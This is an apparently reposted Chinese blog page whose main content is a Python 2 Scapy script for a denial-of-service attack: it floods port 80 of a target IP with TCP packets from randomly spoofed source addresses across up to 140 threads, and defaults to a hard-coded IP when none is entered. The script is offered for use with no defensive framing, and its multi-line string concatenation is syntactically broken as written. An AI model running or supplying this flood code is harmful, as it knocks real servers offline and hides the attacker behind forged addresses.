zoukankan      html  css  js  c++  java
  • python服务器拒绝服务器攻击


    # -*- coding: cp936 -*-
    from scapy.all import *
    from threading import Thread,activeCount
    from random import randint
    class Loop(Thread):
        def __init__(self,remoteAddr):
            Thread.__init__(self)
            self.remoteAddr = remoteAddr
        def run(self):
            ip = str(randint(0,255))+'.'
                 +str(randint(0,255))+'.'
                 +str(randint(0,255))+'.'
                 +str(randint(0,255))
            sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
           
    class Main(Thread):
        def __init__(self,remoteAddr):
            Thread.__init__(self)
            self.remoteAddr = remoteAddr
        def run(self):
            limit = 140
            total = 0

            while True:
                if activeCount() < limit:
                    Loop(remoteAddr = self.remoteAddr).start()
                    total = total + 1
                print '目前已经进行的HttpFlood的次数为:',total
    if __name__ == '__main__':
        remoteAddr = raw_input('IP=')
        if remoteAddr == '':
            remoteAddr = '202.103.25.12'

        Main(remoteAddr = remoteAddr).start()

    http://www.jb51.net/article/45771.htm

  • 相关阅读:
    Django知识总结(一)
    Django知识总结(二)
    Django知识总结(三)
    机器学习领域主要术语的英文表达
    Python的进程与线程--思维导图
    MySQL数据库--思维导图
    5.18 每日小三练
    5.14 每日小三练
    5.12 每日小三练
    5.9 每日小三练
  • 原文地址:https://www.cnblogs.com/enet01/p/6560264.html
Copyright © 2011-2022 走看看